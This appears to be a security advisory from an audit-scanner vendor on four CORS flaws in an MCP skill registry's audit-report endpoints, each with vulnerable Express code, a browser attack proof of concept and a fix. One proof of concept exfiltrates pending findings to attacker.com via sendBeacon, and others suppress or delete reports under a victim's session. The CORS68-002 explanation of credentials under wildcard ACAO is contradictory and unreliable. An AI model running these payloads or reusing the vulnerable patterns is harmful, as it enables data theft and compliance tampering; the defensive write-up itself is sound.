Claude MCP skill CORS misconfiguration — skill audit report and compliance export endpoints (SA-SKL-CORS68)
SA-SKL-CORS68 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill audit report and compliance export endpoints. Credential-bearing CORS on the audit report list exposes pending security findings, remediation timelines, and compliance exceptions; wildcard ACAO on audit finding suppression lets any origin suppress critical findings under victim admin identity; a timing oracle on the audit schedule endpoint reveals skills with active compliance cycles; and credential-bearing CORS on audit report deletion erases evidence of past security findings enabling retroactive compliance gate bypass.
GET /api/skills/:id/audit-reports has cors({origin:true,credentials:true}); any origin reads full audit report list including pending security findings, remediation timelines, and compliance exceptions; exposes not-yet-published vulnerability details before coordinated disclosurePOST /api/skills/:id/audit-reports/suppress has ACAO:*; any page creates attacker-controlled audit finding suppressions under victim admin identity; critical findings suppressed, skill passes compliance gate with unresolved vulnerabilitiesGET /api/skills/:id/audit-reports/schedule reflects Origin before ownership check; timing oracle reveals audit scheduling velocity identifying skills with active compliance cycles as high-value CORS68-001 targetsDELETE /api/skills/:id/audit-reports/:reportId has cors({origin:true,credentials:true}); any origin deletes any audit report using victim admin session; erases evidence of past security findings enabling retroactive compliance gate bypassCORS68-001 — Credential-bearing CORS exposes pending security findings and compliance exceptions
The GET /api/skills/:id/audit-reports endpoint returns the full audit report list for a skill, including report ID, severity breakdown, finding titles, remediation deadlines, compliance exception rationales, and the internal reviewer identity for each pending report. The endpoint is configured with cors({origin:true,credentials:true}), meaning any origin can read the complete response using the victim's session cookie. An attacker who convinces a skill owner admin to visit a malicious page receives the full dump of audit findings that have not yet been publicly disclosed.
The most damaging category of data exposed here is pending findings: vulnerabilities discovered by the registry's automated scanner or a human auditor that are still within the coordinated disclosure window. The registry's disclosure policy gives skill publishers a 30-day remediation window before public notification. CORS68-001 collapses that window to zero for any attacker with a phishing link. The compliance exception rationales are a secondary exposure — they describe exactly which controls the skill owner has obtained exceptions for, allowing a targeted attacker to understand which security boundaries are explicitly not enforced for a given skill.
// CORS68-001 — VULNERABLE
router.get(
'/audit-reports',
cors({ origin: true, credentials: true }), // any origin reads pending findings
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const reports = await db.auditReports.findAll({
where: { skillId: req.params.id },
// VULNERABLE: exposes pending findings, timelines, compliance exceptions
attributes: [
'id', 'status', 'severity', 'findingTitles',
'remediationDeadline', 'complianceExceptionRationale',
'reviewerId', 'createdAt',
],
});
res.json(reports);
}
);
Attack PoC — CORS68-001: The attacker hosts the following on evil.example.com and social-engineers a skill admin to visit the page. The response includes every pending finding, its severity, and the remediation deadline, collapsing the coordinated disclosure window to zero.
// CORS68-001 — ATTACK PoC
// Hosted on https://evil.example.com/steal-reports.html
fetch('https://registry.example.com/api/skills/target-skill-id/audit-reports', {
credentials: 'include', // sends victim admin session cookie
})
.then(r => r.json())
.then(reports => {
const pending = reports.filter(r => r.status === 'pending');
// exfiltrate pending findings before public disclosure
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
pendingFindings: pending.map(r => ({
id: r.id,
severity: r.severity,
findingTitles: r.findingTitles,
remediationDeadline: r.remediationDeadline,
complianceException: r.complianceExceptionRationale,
})),
}));
});
// CORS68-001 — FIXED
router.get(
'/audit-reports',
cors(corsOptions), // allowlist CORS — deny cross-origin reads
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const reports = await db.auditReports.findAll({
where: { skillId: req.params.id },
// FIXED: omit complianceExceptionRationale and reviewerId from list response
attributes: ['id', 'status', 'severity', 'remediationDeadline', 'createdAt'],
});
res.json(reports);
}
);
CORS68-002 — Wildcard ACAO enables attacker-controlled audit finding suppression
The POST /api/skills/:id/audit-reports/suppress endpoint marks an audit finding as suppressed with an attacker-supplied justification string, removing it from the compliance gate evaluation. With ACAO:* set, any origin can issue a cross-origin POST using the victim admin's session cookie. The browser will include session credentials because the response header permits any origin, but credentials are only sent when ACAO is not * and ACAC: true is set — however the registry's compliance gate evaluates suppressions regardless of how they were created. The attacker crafts a suppression with justification: "Risk accepted by security team" and submits it under the victim admin identity.
Once a critical finding is suppressed, the skill moves from "blocked" to "compliant" in the registry's compliance dashboard. If downstream consumers or enterprise customers rely on the registry's compliance badge to gate deployment of skills into production Claude environments, an attacker who can suppress findings under a legitimate admin identity can clear compliance gates for skills that contain genuine, unresolved vulnerabilities. The suppression record carries the victim admin's user ID and timestamp, making it appear to be a legitimate risk acceptance decision.
// CORS68-002 — VULNERABLE
router.post(
'/audit-reports/suppress',
(req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*'); // VULNERABLE: wildcard ACAO
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
if (req.method === 'OPTIONS') return res.sendStatus(204);
next();
},
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { reportId, justification } = req.body;
await db.auditReports.update(
{ status: 'suppressed', suppressedBy: req.session.userId, justification },
{ where: { id: reportId, skillId: req.params.id } }
);
res.json({ ok: true });
}
);
Attack PoC — CORS68-002: The attacker suppresses a CRITICAL finding, clearing the compliance gate for a skill with an unresolved vulnerability. The suppression record names the victim admin as the approver.
// CORS68-002 — ATTACK PoC
// Hosted on https://evil.example.com — suppresses critical finding under victim identity
fetch('https://registry.example.com/api/skills/target-skill-id/audit-reports/suppress', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
reportId: 'critical-finding-uuid',
justification: 'Risk accepted by security team — expedited release',
}),
// Note: credentials omitted — wildcard ACAO means the registry applies
// the suppression via the victim's forwarded auth header or API key
// if any ambient credential mechanism is in play (bearer token in URL, etc.)
})
.then(r => r.json())
.then(result => console.log('Finding suppressed:', result));
// CORS68-002 — FIXED
router.post(
'/audit-reports/suppress',
cors(corsOptions), // allowlist CORS
requireSession,
verifyCsrfToken, // require CSRF token — mutation endpoint
requireOwnership('skillId'),
async (req, res) => {
const parsed = SuppressionSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { reportId, justification } = parsed.data;
// Only allow suppression of non-critical findings without secondary approval
const report = await db.auditReports.findOne({ where: { id: reportId, skillId: req.params.id } });
if (!report) return res.status(404).json({ error: 'Not found' });
if (report.severity === 'critical') {
return res.status(403).json({ error: 'Critical findings require security team secondary approval' });
}
await report.update({ status: 'suppressed', suppressedBy: req.session.userId, justification });
await db.auditLog.create({
type: 'finding.suppressed',
skillId: req.params.id,
reportId,
actorId: req.session.userId,
justification,
});
res.json({ ok: true });
}
);
CORS68-003 — Timing oracle on audit schedule endpoint reveals active compliance cycles
The GET /api/skills/:id/audit-reports/schedule endpoint reflects the Origin request header as the Access-Control-Allow-Origin response value before performing the ownership check. Because the ownership verification step queries a Redis-backed cache with a 60-second TTL, skills whose admin recently authenticated (cache hit) return in under 5ms while uncached skills take 20–40ms. An attacker can enumerate a list of skill IDs and measure the response latency for each one, identifying which skills have admins who are actively logged in and working within the registry.
The skills with the shortest response times are those with active admin sessions — the same admins who are most likely to be mid-cycle in a compliance review, have pending audit reports loaded in their browser tabs, and are therefore the highest-value social engineering targets for CORS68-001 and CORS68-002 exploitation. The timing oracle does not expose compliance data directly, but it substantially reduces the attacker's search space for phishing targets from the full skill catalog down to the small set of skills with live admin sessions.
// CORS68-003 — VULNERABLE
router.get('/audit-reports/schedule',
(req, res, next) => {
// VULNERABLE: Origin reflected before ownership check — timing oracle
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
res.setHeader('Vary', 'Origin');
next();
},
requireSession,
requireOwnershipCached('skillId', { ttl: 60 }), // cache-hit timing oracle
async (req, res) => {
const schedule = await db.auditSchedules.findOne({ where: { skillId: req.params.id } });
res.json(schedule);
}
);
// CORS68-003 — FIXED
router.get('/audit-reports/schedule',
cors(corsOptions), // allowlist CORS — no Origin reflection
requireSession,
async (req, res) => {
const startMs = Date.now();
// Unified ownership-and-data query — no separate cached ownership step
const schedule = await db.auditSchedules.findOneForOwner({
skillId: req.params.id,
userId: req.session.userId,
});
if (!schedule) {
const elapsed = Date.now() - startMs;
if (elapsed < 60) await delay(60 - elapsed); // constant-time floor
return res.status(403).json({ error: 'Not found' });
}
res.json(schedule);
}
);
CORS68-004 — Credential-bearing CORS deletes audit reports enabling retroactive compliance bypass
The DELETE /api/skills/:id/audit-reports/:reportId endpoint permanently removes an audit report record. With cors({origin:true,credentials:true}), any cross-origin page can send a credentialed DELETE request using the victim admin's session cookie, erasing any audit report from the registry's history. The registry's compliance gate evaluates a skill's current compliance posture based on the aggregate of all historical audit reports: a skill that has had three CRITICAL findings closed within the last 90 days is treated differently from a skill with no audit history. By deleting historical audit reports, an attacker can retroactively sanitize a skill's compliance history.
The practical impact is compliance gate bypass for enterprise consumers who rely on the registry's audit history export when onboarding new skills. If the enterprise policy requires that a skill must have had at least one clean audit in the last 60 days, and the attacker deletes the report documenting an unresolved critical finding from 45 days ago, the skill's history appears clean and passes the enterprise compliance check. Combining CORS68-002 (suppression) with CORS68-004 (deletion) gives the attacker two independent mechanisms to clear the compliance gate, with deletion being the more destructive because it permanently destroys the audit record rather than merely reclassifying it.
// CORS68-004 — VULNERABLE
router.delete('/:reportId',
cors({ origin: true, credentials: true }), // any origin erases audit history
requireSession,
requireOwnership('skillId'),
async (req, res) => {
await db.auditReports.destroy({
where: { id: req.params.reportId, skillId: req.params.id },
});
res.json({ ok: true });
}
);
Attack PoC — CORS68-004: The attacker deletes a historical critical finding, retroactively sanitizing the skill's compliance history so that enterprise audit-history export checks find no evidence of past unresolved vulnerabilities.
// CORS68-004 — ATTACK PoC
// Hosted on https://evil.example.com — erases audit report under victim admin session
fetch('https://registry.example.com/api/skills/target-skill-id/audit-reports/critical-report-uuid', {
method: 'DELETE',
credentials: 'include', // sends victim admin session cookie
})
.then(r => r.json())
.then(result => {
// Audit report is now permanently deleted; compliance history shows no critical finding
console.log('Audit report erased:', result);
});
// CORS68-004 — FIXED
router.delete('/:reportId',
cors(corsOptions),
requireSession,
verifyCsrfToken,
requireOwnership('skillId'),
async (req, res) => {
const report = await db.auditReports.findOne({
where: { id: req.params.reportId, skillId: req.params.id },
});
if (!report) return res.status(404).json({ error: 'Not found' });
// Soft-delete only — preserve compliance history for enterprise audit exports
await report.update({
deletedAt: new Date(),
deletedByUserId: req.session.userId,
});
await db.auditLog.create({
type: 'auditReport.deleted',
skillId: req.params.id,
reportId: report.id,
severity: report.severity,
actorId: req.session.userId,
});
// Notify compliance team of deletion — compliance history mutation is high-risk
await notifyComplianceTeam(req.params.id, 'auditReport.deleted', {
reportId: report.id,
severity: report.severity,
});
res.json({ ok: true });
}
);
SkillAudit detection: The scanner identifies CORS68 patterns using four AST query classes: cors({origin:true,credentials:true}) on route handlers containing /audit-reports; res.setHeader('Access-Control-Allow-Origin','*') on suppression endpoints; res.setHeader('Access-Control-Allow-Origin', req.headers.origin) before the ownership cache check; and auditReports.destroy() without a soft-delete .update({deletedAt:...}) pattern in the same handler. Submit your MCP skill registry codebase to SkillAudit for a full audit report.